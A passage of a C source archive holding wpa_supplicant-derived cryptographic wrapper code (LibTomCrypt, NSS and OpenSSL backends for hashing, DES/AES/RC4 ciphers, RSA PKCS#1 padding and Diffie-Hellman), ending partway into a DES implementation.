hmac_state hmac; } u; }; struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, size_t key_len) { struct crypto_hash *ctx; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; ctx->alg = alg; switch (alg) { case CRYPTO_HASH_ALG_MD5: if (md5_init(&ctx->u.md) != CRYPT_OK) goto fail; break; case CRYPTO_HASH_ALG_SHA1: if (sha1_init(&ctx->u.md) != CRYPT_OK) goto fail; break; case CRYPTO_HASH_ALG_HMAC_MD5: if (hmac_init(&ctx->u.hmac, find_hash("md5"), key, key_len) != CRYPT_OK) goto fail; break; case CRYPTO_HASH_ALG_HMAC_SHA1: if (hmac_init(&ctx->u.hmac, find_hash("sha1"), key, key_len) != CRYPT_OK) goto fail; break; default: goto fail; } return ctx; fail: os_free(ctx); return NULL; } void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len) { if (ctx == NULL || ctx->error) return; switch (ctx->alg) { case CRYPTO_HASH_ALG_MD5: ctx->error = md5_process(&ctx->u.md, data, len) != CRYPT_OK; break; case CRYPTO_HASH_ALG_SHA1: ctx->error = sha1_process(&ctx->u.md, data, len) != CRYPT_OK; break; case CRYPTO_HASH_ALG_HMAC_MD5: case CRYPTO_HASH_ALG_HMAC_SHA1: ctx->error = hmac_process(&ctx->u.hmac, data, len) != CRYPT_OK; break; } } int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len) { int ret = 0; unsigned long clen; if (ctx == NULL) return -2; if (mac == NULL || len == NULL) { os_free(ctx); return 0; } if (ctx->error) { os_free(ctx); return -2; } switch (ctx->alg) { case CRYPTO_HASH_ALG_MD5: if (*len < 16) { *len = 16; os_free(ctx); return -1; } *len = 16; if (md5_done(&ctx->u.md, mac) != CRYPT_OK) ret = -2; break; case CRYPTO_HASH_ALG_SHA1: if (*len < 20) { *len = 20; os_free(ctx); return -1; } *len = 20; if (sha1_done(&ctx->u.md, mac) != CRYPT_OK) ret = -2; break; case CRYPTO_HASH_ALG_HMAC_SHA1: if (*len < 20) { *len = 20; os_free(ctx); return -1; } /* continue */ case CRYPTO_HASH_ALG_HMAC_MD5: if (*len < 16) { *len = 16; os_free(ctx); return -1; } clen = *len; if (hmac_done(&ctx->u.hmac, mac, &clen) != CRYPT_OK) { os_free(ctx); return -1; } *len = clen; break; default: ret = -2; break; } os_free(ctx); return ret; } struct crypto_cipher { int rc4; union { symmetric_CBC cbc; struct { size_t used_bytes; u8 key[16]; size_t keylen; } rc4; } u; }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { struct crypto_cipher *ctx; int idx, res, rc4 = 0; switch (alg) { case CRYPTO_CIPHER_ALG_AES: idx = find_cipher("aes"); break; case CRYPTO_CIPHER_ALG_3DES: idx = find_cipher("3des"); break; case CRYPTO_CIPHER_ALG_DES: idx = find_cipher("des"); break; case CRYPTO_CIPHER_ALG_RC2: idx = find_cipher("rc2"); break; case CRYPTO_CIPHER_ALG_RC4: idx = -1; rc4 = 1; break; default: return NULL; } ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; if (rc4) { ctx->rc4 = 1; if (key_len > sizeof(ctx->u.rc4.key)) { os_free(ctx); return NULL; } ctx->u.rc4.keylen = key_len; os_memcpy(ctx->u.rc4.key, key, key_len); } else { res = cbc_start(idx, iv, key, key_len, 0, &ctx->u.cbc); if (res != CRYPT_OK) { wpa_printf(MSG_DEBUG, "LibTomCrypt: Cipher start " "failed: %s", error_to_string(res)); os_free(ctx); return NULL; } } return ctx; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { int res; if (ctx->rc4) { if (plain != crypt) os_memcpy(crypt, plain, len); rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, ctx->u.rc4.used_bytes, crypt, len); ctx->u.rc4.used_bytes += len; return 0; } res = cbc_encrypt(plain, crypt, len, &ctx->u.cbc); if (res != CRYPT_OK) { wpa_printf(MSG_DEBUG, "LibTomCrypt: CBC encryption " "failed: %s", error_to_string(res)); return -1; } return 0; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { int res; if (ctx->rc4) { if (plain != crypt) os_memcpy(plain, crypt, len); rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, ctx->u.rc4.used_bytes, plain, len); ctx->u.rc4.used_bytes += len; return 0; } res = cbc_decrypt(crypt, plain, len, &ctx->u.cbc); if (res != CRYPT_OK) { wpa_printf(MSG_DEBUG, "LibTomCrypt: CBC decryption " "failed: %s", error_to_string(res)); return -1; } return 0; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { if (!ctx->rc4) cbc_done(&ctx->u.cbc); os_free(ctx); } struct crypto_public_key { rsa_key rsa; }; struct crypto_private_key { rsa_key rsa; }; struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len) { int res; struct crypto_public_key *pk; pk = os_zalloc(sizeof(*pk)); if (pk == NULL) return NULL; res = rsa_import(key, len, &pk->rsa); if (res != CRYPT_OK) { wpa_printf(MSG_ERROR, "LibTomCrypt: Failed to import " "public key (res=%d '%s')", res, error_to_string(res)); os_free(pk); return NULL; } if (pk->rsa.type != PK_PUBLIC) { wpa_printf(MSG_ERROR, "LibTomCrypt: Public key was not of " "correct type"); rsa_free(&pk->rsa); os_free(pk); return NULL; } return pk; } struct crypto_private_key * crypto_private_key_import(const u8 *key, size_t len, const char *passwd) { int res; struct crypto_private_key *pk; pk = os_zalloc(sizeof(*pk)); if (pk == NULL) return NULL; res = rsa_import(key, len, &pk->rsa); if (res != CRYPT_OK) { wpa_printf(MSG_ERROR, "LibTomCrypt: Failed to import " "private key (res=%d '%s')", res, error_to_string(res)); os_free(pk); return NULL; } if (pk->rsa.type != PK_PRIVATE) { wpa_printf(MSG_ERROR, "LibTomCrypt: Private key was not of " "correct type"); rsa_free(&pk->rsa); os_free(pk); return NULL; } return pk; } struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, size_t len) { /* No X.509 support in LibTomCrypt */ return NULL; } static int pkcs1_generate_encryption_block(u8 block_type, size_t modlen, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { size_t ps_len; u8 *pos; /* * PKCS #1 v1.5, 8.1: * * EB = 00 || BT || PS || 00 || D * BT = 00 or 01 for private-key operation; 02 for public-key operation * PS = k-3-||D||; at least eight octets * (BT=0: PS=0x00, BT=1: PS=0xff, BT=2: PS=pseudorandom non-zero) * k = length of modulus in octets (modlen) */ if (modlen < 12 || modlen > *outlen || inlen > modlen - 11) { wpa_printf(MSG_DEBUG, "PKCS #1: %s - Invalid buffer " "lengths (modlen=%lu outlen=%lu inlen=%lu)", __func__, (unsigned long) modlen, (unsigned long) *outlen, (unsigned long) inlen); return -1; } pos = out; *pos++ = 0x00; *pos++ = block_type; /* BT */ ps_len = modlen - inlen - 3; switch (block_type) { case 0: os_memset(pos, 0x00, ps_len); pos += ps_len; break; case 1: os_memset(pos, 0xff, ps_len); pos += ps_len; break; case 2: if (os_get_random(pos, ps_len) < 0) { wpa_printf(MSG_DEBUG, "PKCS #1: %s - Failed to get " "random data for PS", __func__); return -1; } while (ps_len--) { if (*pos == 0x00) *pos = 0x01; pos++; } break; default: wpa_printf(MSG_DEBUG, "PKCS #1: %s - Unsupported block type " "%d", __func__, block_type); return -1; } *pos++ = 0x00; os_memcpy(pos, in, inlen); /* D */ return 0; } static int crypto_rsa_encrypt_pkcs1(int block_type, rsa_key *key, int key_type, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { unsigned long len, modlen; int res; modlen = mp_unsigned_bin_size(key->N); if (pkcs1_generate_encryption_block(block_type, modlen, in, inlen, out, outlen) < 0) return -1; len = *outlen; res = rsa_exptmod(out, modlen, out, &len, key_type, key); if (res != CRYPT_OK) { wpa_printf(MSG_DEBUG, "LibTomCrypt: rsa_exptmod failed: %s", error_to_string(res)); return -1; } *outlen = len; return 0; } int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { return crypto_rsa_encrypt_pkcs1(2, &key->rsa, PK_PUBLIC, in, inlen, out, outlen); } int crypto_private_key_sign_pkcs1(struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { return crypto_rsa_encrypt_pkcs1(1, &key->rsa, PK_PRIVATE, in, inlen, out, outlen); } void crypto_public_key_free(struct crypto_public_key *key) { if (key) { rsa_free(&key->rsa); os_free(key); } } void crypto_private_key_free(struct crypto_private_key *key) { if (key) { rsa_free(&key->rsa); os_free(key); } } int crypto_public_key_decrypt_pkcs1(struct crypto_public_key *key, const u8 *crypt, size_t crypt_len, u8 *plain, size_t *plain_len) { int res; unsigned long len; u8 *pos; len = *plain_len; res = rsa_exptmod(crypt, crypt_len, plain, &len, PK_PUBLIC, &key->rsa); if (res != CRYPT_OK) { wpa_printf(MSG_DEBUG, "LibTomCrypt: rsa_exptmod failed: %s", error_to_string(res)); return -1; } /* * PKCS #1 v1.5, 8.1: * * EB = 00 || BT || PS || 00 || D * BT = 01 * PS = k-3-||D|| times FF * k = length of modulus in octets */ if (len < 3 + 8 + 16 /* min hash len */ || plain[0] != 0x00 || plain[1] != 0x01 || plain[2] != 0xff) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " "structure"); return -1; } pos = plain + 3; while (pos < plain + len && *pos == 0xff) pos++; if (pos - plain - 2 < 8) { /* PKCS #1 v1.5, 8.1: At least eight octets long PS */ wpa_printf(MSG_INFO, "LibTomCrypt: Too short signature " "padding"); return -1; } if (pos + 16 /* min hash len */ >= plain + len || *pos != 0x00) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " "structure (2)"); return -1; } pos++; len -= pos - plain; /* Strip PKCS #1 header */ os_memmove(plain, pos, len); *plain_len = len; return 0; } int crypto_global_init(void) { ltc_mp = tfm_desc; /* TODO: only register algorithms that are really needed */ if (register_hash(&md4_desc) < 0 || register_hash(&md5_desc) < 0 || register_hash(&sha1_desc) < 0 || register_cipher(&aes_desc) < 0 || register_cipher(&des_desc) < 0 || register_cipher(&des3_desc) < 0) { wpa_printf(MSG_ERROR, "TLSv1: Failed to register " "hash/cipher functions"); return -1; } return 0; } void crypto_global_deinit(void) { } #ifdef CONFIG_MODEXP int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { void *b, *p, *m, *r; if (mp_init_multi(&b, &p, &m, &r, NULL) != CRYPT_OK) return -1; if (mp_read_unsigned_bin(b, (u8 *) base, base_len) != CRYPT_OK || mp_read_unsigned_bin(p, (u8 *) power, power_len) != CRYPT_OK || mp_read_unsigned_bin(m, (u8 *) modulus, modulus_len) != CRYPT_OK) goto fail; if (mp_exptmod(b, p, m, r) != CRYPT_OK) goto fail; *result_len = mp_unsigned_bin_size(r); if (mp_to_unsigned_bin(r, result) != CRYPT_OK) goto fail; mp_clear_multi(b, p, m, r, NULL); return 0; fail: mp_clear_multi(b, p, m, r, NULL); return -1; } #endif /* CONFIG_MODEXP */ bully-1.4-00/src/crypto/crypto_none.c000077500000000000000000000012361361530463600175500ustar00rootroot00000000000000/* * WPA Supplicant / Empty template functions for crypto wrapper * Copyright (c) 2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return 0; } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { } bully-1.4-00/src/crypto/crypto_nss.c000077500000000000000000000100501361530463600174060ustar00rootroot00000000000000/* * Crypto wrapper functions for NSS * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #include #include #include #include #include #include #include #include "common.h" #include "crypto.h" static int nss_hash(HASH_HashType type, unsigned int max_res_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { HASHContext *ctx; size_t i; unsigned int reslen; ctx = HASH_Create(type); if (ctx == NULL) return -1; HASH_Begin(ctx); for (i = 0; i < num_elem; i++) HASH_Update(ctx, addr[i], len[i]); HASH_End(ctx, mac, &reslen, max_res_len); HASH_Destroy(ctx); return 0; } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { PK11Context *ctx = NULL; PK11SlotInfo *slot; SECItem *param = NULL; PK11SymKey *symkey = NULL; SECItem item; int olen; u8 pkey[8], next, tmp; int i; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; pkey[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } pkey[i] = next | 1; slot = PK11_GetBestSlot(CKM_DES_ECB, NULL); if (slot == NULL) { wpa_printf(MSG_ERROR, "NSS: PK11_GetBestSlot failed"); goto out; } item.type = siBuffer; item.data = pkey; item.len = 8; symkey = PK11_ImportSymKey(slot, CKM_DES_ECB, PK11_OriginDerive, CKA_ENCRYPT, &item, NULL); if (symkey == NULL) { wpa_printf(MSG_ERROR, "NSS: PK11_ImportSymKey failed"); goto out; } param = PK11_GenerateNewParam(CKM_DES_ECB, symkey); if (param == NULL) { wpa_printf(MSG_ERROR, "NSS: PK11_GenerateNewParam failed"); goto out; } ctx = PK11_CreateContextBySymKey(CKM_DES_ECB, CKA_ENCRYPT, symkey, param); if (ctx == NULL) { wpa_printf(MSG_ERROR, "NSS: PK11_CreateContextBySymKey(" "CKM_DES_ECB) failed"); goto out; } if (PK11_CipherOp(ctx, cypher, &olen, 8, (void *) clear, 8) != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: PK11_CipherOp failed"); goto out; } out: if (ctx) PK11_DestroyContext(ctx, PR_TRUE); if (symkey) PK11_FreeSymKey(symkey); if (param) SECITEM_FreeItem(param, PR_TRUE); } int rc4_skip(const u8 *key, size_t keylen, size_t skip, u8 *data, size_t data_len) { return -1; } int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return nss_hash(HASH_AlgMD5, 16, num_elem, addr, len, mac); } int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return nss_hash(HASH_AlgSHA1, 20, num_elem, addr, len, mac); } int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return nss_hash(HASH_AlgSHA256, 32, num_elem, addr, len, mac); } void * aes_encrypt_init(const u8 *key, size_t len) { return NULL; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { } void aes_encrypt_deinit(void *ctx) { } void * aes_decrypt_init(const u8 *key, size_t len) { return NULL; } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { } void aes_decrypt_deinit(void *ctx) { } int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { return -1; } struct crypto_cipher { }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { return NULL; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { return -1; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { return -1; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { } bully-1.4-00/src/crypto/crypto_openssl.c000077500000000000000000000260711361530463600203000ustar00rootroot00000000000000/* * WPA Supplicant / wrapper functions for libcrypto * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #include #include #include #include #include #include "common.h" #include "wpabuf.h" #include "dh_group5.h" #include "crypto.h" #if OPENSSL_VERSION_NUMBER < 0x00907000 #define DES_key_schedule des_key_schedule #define DES_cblock des_cblock #define DES_set_key(key, schedule) des_set_key((key), *(schedule)) #define DES_ecb_encrypt(input, output, ks, enc) \ des_ecb_encrypt((input), (output), *(ks), (enc)) #endif /* openssl < 0.9.7 */ static BIGNUM * get_group5_prime(void) { #if OPENSSL_VERSION_NUMBER < 0x00908000 static const unsigned char RFC3526_PRIME_1536[] = { 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xC9,0x0F,0xDA,0xA2, 0x21,0x68,0xC2,0x34,0xC4,0xC6,0x62,0x8B,0x80,0xDC,0x1C,0xD1, 0x29,0x02,0x4E,0x08,0x8A,0x67,0xCC,0x74,0x02,0x0B,0xBE,0xA6, 0x3B,0x13,0x9B,0x22,0x51,0x4A,0x08,0x79,0x8E,0x34,0x04,0xDD, 0xEF,0x95,0x19,0xB3,0xCD,0x3A,0x43,0x1B,0x30,0x2B,0x0A,0x6D, 0xF2,0x5F,0x14,0x37,0x4F,0xE1,0x35,0x6D,0x6D,0x51,0xC2,0x45, 0xE4,0x85,0xB5,0x76,0x62,0x5E,0x7E,0xC6,0xF4,0x4C,0x42,0xE9, 0xA6,0x37,0xED,0x6B,0x0B,0xFF,0x5C,0xB6,0xF4,0x06,0xB7,0xED, 0xEE,0x38,0x6B,0xFB,0x5A,0x89,0x9F,0xA5,0xAE,0x9F,0x24,0x11, 0x7C,0x4B,0x1F,0xE6,0x49,0x28,0x66,0x51,0xEC,0xE4,0x5B,0x3D, 0xC2,0x00,0x7C,0xB8,0xA1,0x63,0xBF,0x05,0x98,0xDA,0x48,0x36, 0x1C,0x55,0xD3,0x9A,0x69,0x16,0x3F,0xA8,0xFD,0x24,0xCF,0x5F, 0x83,0x65,0x5D,0x23,0xDC,0xA3,0xAD,0x96,0x1C,0x62,0xF3,0x56, 0x20,0x85,0x52,0xBB,0x9E,0xD5,0x29,0x07,0x70,0x96,0x96,0x6D, 0x67,0x0C,0x35,0x4E,0x4A,0xBC,0x98,0x04,0xF1,0x74,0x6C,0x08, 0xCA,0x23,0x73,0x27,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF, }; return BN_bin2bn(RFC3526_PRIME_1536, sizeof(RFC3526_PRIME_1536), NULL); #else /* openssl < 0.9.8 */ return get_rfc3526_prime_1536(NULL); #endif /* openssl < 0.9.8 */ } #if OPENSSL_VERSION_NUMBER < 0x00908000 #ifndef OPENSSL_NO_SHA256 #ifndef OPENSSL_FIPS #define NO_SHA256_WRAPPER #endif #endif #endif /* openssl < 0.9.8 */ #ifdef OPENSSL_NO_SHA256 #define NO_SHA256_WRAPPER #endif static int openssl_digest_vector(const EVP_MD *type, int non_fips, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { EVP_MD_CTX ctx; size_t i; unsigned int mac_len; EVP_MD_CTX_init(&ctx); #ifdef CONFIG_FIPS #ifdef OPENSSL_FIPS if (non_fips) EVP_MD_CTX_set_flags(&ctx, EVP_MD_CTX_FLAG_NON_FIPS_ALLOW); #endif /* OPENSSL_FIPS */ #endif /* CONFIG_FIPS */ if (!EVP_DigestInit_ex(&ctx, type, NULL)) { wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestInit_ex failed: %s", ERR_error_string(ERR_get_error(), NULL)); return -1; } for (i = 0; i < num_elem; i++) { if (!EVP_DigestUpdate(&ctx, addr[i], len[i])) { wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestUpdate " "failed: %s", ERR_error_string(ERR_get_error(), NULL)); return -1; } } if (!EVP_DigestFinal(&ctx, mac, &mac_len)) { wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestFinal failed: %s", ERR_error_string(ERR_get_error(), NULL)); return -1; } return 0; } int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return openssl_digest_vector(EVP_md4(), 0, num_elem, addr, len, mac); } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { u8 pkey[8], next, tmp; int i; DES_key_schedule ks; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; pkey[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } pkey[i] = next | 1; DES_set_key(&pkey, &ks); DES_ecb_encrypt((DES_cblock *) clear, (DES_cblock *) cypher, &ks, DES_ENCRYPT); } int rc4_skip(const u8 *key, size_t keylen, size_t skip, u8 *data, size_t data_len) { #ifdef OPENSSL_NO_RC4 return -1; #else /* OPENSSL_NO_RC4 */ EVP_CIPHER_CTX ctx; int outl; int res = -1; unsigned char skip_buf[16]; EVP_CIPHER_CTX_init(&ctx); if (!EVP_CIPHER_CTX_set_padding(&ctx, 0) || !EVP_CipherInit_ex(&ctx, EVP_rc4(), NULL, NULL, NULL, 1) || !EVP_CIPHER_CTX_set_key_length(&ctx, keylen) || !EVP_CipherInit_ex(&ctx, NULL, NULL, key, NULL, 1)) goto out; while (skip >= sizeof(skip_buf)) { size_t len = skip; if (len > sizeof(skip_buf)) len = sizeof(skip_buf); if (!EVP_CipherUpdate(&ctx, skip_buf, &outl, skip_buf, len)) goto out; skip -= len; } if (EVP_CipherUpdate(&ctx, data, &outl, data, data_len)) res = 0; out: EVP_CIPHER_CTX_cleanup(&ctx); return res; #endif /* OPENSSL_NO_RC4 */ } int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return openssl_digest_vector(EVP_md5(), 0, num_elem, addr, len, mac); } #ifdef CONFIG_FIPS int md5_vector_non_fips_allow(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return openssl_digest_vector(EVP_md5(), 1, num_elem, addr, len, mac); } #endif /* CONFIG_FIPS */ int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return openssl_digest_vector(EVP_sha1(), 0, num_elem, addr, len, mac); } #ifndef NO_SHA256_WRAPPER int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return openssl_digest_vector(EVP_sha256(), 0, num_elem, addr, len, mac); } #endif /* NO_SHA256_WRAPPER */ void * aes_encrypt_init(const u8 *key, size_t len) { AES_KEY *ak; ak = os_malloc(sizeof(*ak)); if (ak == NULL) return NULL; if (AES_set_encrypt_key(key, 8 * len, ak) < 0) { os_free(ak); return NULL; } return ak; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { AES_encrypt(plain, crypt, ctx); } void aes_encrypt_deinit(void *ctx) { os_free(ctx); } void * aes_decrypt_init(const u8 *key, size_t len) { AES_KEY *ak; ak = os_malloc(sizeof(*ak)); if (ak == NULL) return NULL; if (AES_set_decrypt_key(key, 8 * len, ak) < 0) { os_free(ak); return NULL; } return ak; } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { AES_decrypt(crypt, plain, ctx); } void aes_decrypt_deinit(void *ctx) { os_free(ctx); } int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { BIGNUM *bn_base, *bn_exp, *bn_modulus, *bn_result; int ret = -1; BN_CTX *ctx; ctx = BN_CTX_new(); if (ctx == NULL) return -1; bn_base = BN_bin2bn(base, base_len, NULL); bn_exp = BN_bin2bn(power, power_len, NULL); bn_modulus = BN_bin2bn(modulus, modulus_len, NULL); bn_result = BN_new(); if (bn_base == NULL || bn_exp == NULL || bn_modulus == NULL || bn_result == NULL) goto error; if (BN_mod_exp(bn_result, bn_base, bn_exp, bn_modulus, ctx) != 1) goto error; *result_len = BN_bn2bin(bn_result, result); ret = 0; error: BN_free(bn_base); BN_free(bn_exp); BN_free(bn_modulus); BN_free(bn_result); BN_CTX_free(ctx); return ret; } struct crypto_cipher { EVP_CIPHER_CTX enc; EVP_CIPHER_CTX dec; }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { struct crypto_cipher *ctx; const EVP_CIPHER *cipher; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; switch (alg) { #ifndef OPENSSL_NO_RC4 case CRYPTO_CIPHER_ALG_RC4: cipher = EVP_rc4(); break; #endif /* OPENSSL_NO_RC4 */ #ifndef OPENSSL_NO_AES case CRYPTO_CIPHER_ALG_AES: switch (key_len) { case 16: cipher = EVP_aes_128_cbc(); break; case 24: cipher = EVP_aes_192_cbc(); break; case 32: cipher = EVP_aes_256_cbc(); break; default: os_free(ctx); return NULL; } break; #endif /* OPENSSL_NO_AES */ #ifndef OPENSSL_NO_DES case CRYPTO_CIPHER_ALG_3DES: cipher = EVP_des_ede3_cbc(); break; case CRYPTO_CIPHER_ALG_DES: cipher = EVP_des_cbc(); break; #endif /* OPENSSL_NO_DES */ #ifndef OPENSSL_NO_RC2 case CRYPTO_CIPHER_ALG_RC2: cipher = EVP_rc2_ecb(); break; #endif /* OPENSSL_NO_RC2 */ default: os_free(ctx); return NULL; } EVP_CIPHER_CTX_init(&ctx->enc); EVP_CIPHER_CTX_set_padding(&ctx->enc, 0); if (!EVP_EncryptInit_ex(&ctx->enc, cipher, NULL, NULL, NULL) || !EVP_CIPHER_CTX_set_key_length(&ctx->enc, key_len) || !EVP_EncryptInit_ex(&ctx->enc, NULL, NULL, key, iv)) { EVP_CIPHER_CTX_cleanup(&ctx->enc); os_free(ctx); return NULL; } EVP_CIPHER_CTX_init(&ctx->dec); EVP_CIPHER_CTX_set_padding(&ctx->dec, 0); if (!EVP_DecryptInit_ex(&ctx->dec, cipher, NULL, NULL, NULL) || !EVP_CIPHER_CTX_set_key_length(&ctx->dec, key_len) || !EVP_DecryptInit_ex(&ctx->dec, NULL, NULL, key, iv)) { EVP_CIPHER_CTX_cleanup(&ctx->enc); EVP_CIPHER_CTX_cleanup(&ctx->dec); os_free(ctx); return NULL; } return ctx; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { int outl; if (!EVP_EncryptUpdate(&ctx->enc, crypt, &outl, plain, len)) return -1; return 0; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { int outl; outl = len; if (!EVP_DecryptUpdate(&ctx->dec, plain, &outl, crypt, len)) return -1; return 0; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { EVP_CIPHER_CTX_cleanup(&ctx->enc); EVP_CIPHER_CTX_cleanup(&ctx->dec); os_free(ctx); } void * dh5_init(struct wpabuf **priv, struct wpabuf **publ) { DH *dh; struct wpabuf *pubkey = NULL, *privkey = NULL; size_t publen, privlen; *priv = NULL; *publ = NULL; dh = DH_new(); if (dh == NULL) return NULL; dh->g = BN_new(); if (dh->g == NULL || BN_set_word(dh->g, 2) != 1) goto err; dh->p = get_group5_prime(); if (dh->p == NULL) goto err; if (DH_generate_key(dh) != 1) goto err; publen = BN_num_bytes(dh->pub_key); pubkey = wpabuf_alloc(publen); if (pubkey == NULL) goto err; privlen = BN_num_bytes(dh->priv_key); privkey = wpabuf_alloc(privlen); if (privkey == NULL) goto err; BN_bn2bin(dh->pub_key, wpabuf_put(pubkey, publen)); BN_bn2bin(dh->priv_key, wpabuf_put(privkey, privlen)); *priv = privkey; *publ = pubkey; return dh; err: wpabuf_free(pubkey); wpabuf_free(privkey); DH_free(dh); return NULL; } struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public, const struct wpabuf *own_private) { BIGNUM *pub_key; struct wpabuf *res = NULL; size_t rlen; DH *dh = ctx; int keylen; if (ctx == NULL) return NULL; pub_key = BN_bin2bn(wpabuf_head(peer_public), wpabuf_len(peer_public), NULL); if (pub_key == NULL) return NULL; rlen = DH_size(dh); res = wpabuf_alloc(rlen); if (res == NULL) goto err; keylen = DH_compute_key(wpabuf_mhead(res), pub_key, dh); if (keylen < 0) goto err; wpabuf_put(res, keylen); BN_free(pub_key); return res; err: BN_free(pub_key); wpabuf_free(res); return NULL; } void dh5_free(void *ctx) { DH *dh; if (ctx == NULL) return; dh = ctx; DH_free(dh); } bully-1.4-00/src/crypto/des-internal.c000077500000000000000000000360551361530463600176050ustar00rootroot00000000000000/* * DES and 3DES-EDE ciphers * * Modifications to LibTomCrypt implementation: * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "des_i.h" /* * This implementation is based on a DES implementation included in * LibTomCrypt. The version here is modified to fit in wpa_supplicant/hostapd * coding style. */ /* LibTomCrypt, modular cryptographic library -- Tom St Denis * * LibTomCrypt is a library that provides various cryptographic * algorithms in a highly modular and flexible manner. * * The library is free for all purposes without any express * guarantee it works. * * Tom St Denis, tomstdenis@gmail.com, http://libtomcrypt.com */ /** DES code submitted by Dobes Vandermeer */ #define ROLc(x, y) \ ((((unsigned long) (x) << (unsigned long) ((y) & 31)) | \ (((unsigned long) (x) & 0xFFFFFFFFUL) >> \ (unsigned long) (32 - ((y) & 31)))) & 0xFFFFFFFFUL) #define RORc(x, y) \ (((((unsigned long) (x) & 0xFFFFFFFFUL) >> \ (unsigned long) ((y) & 31)) | \ ((unsigned long) (x) << (unsigned long) (32 - ((y) & 31)))) & \ 0xFFFFFFFFUL) static const u32 bytebit[8] = { 0200, 0100, 040, 020, 010, 04, 02, 01 }; static const u32 bigbyte[24] = { 0x800000UL, 0x400000UL, 0x200000UL, 0x100000UL, 0x80000UL, 0x40000UL, 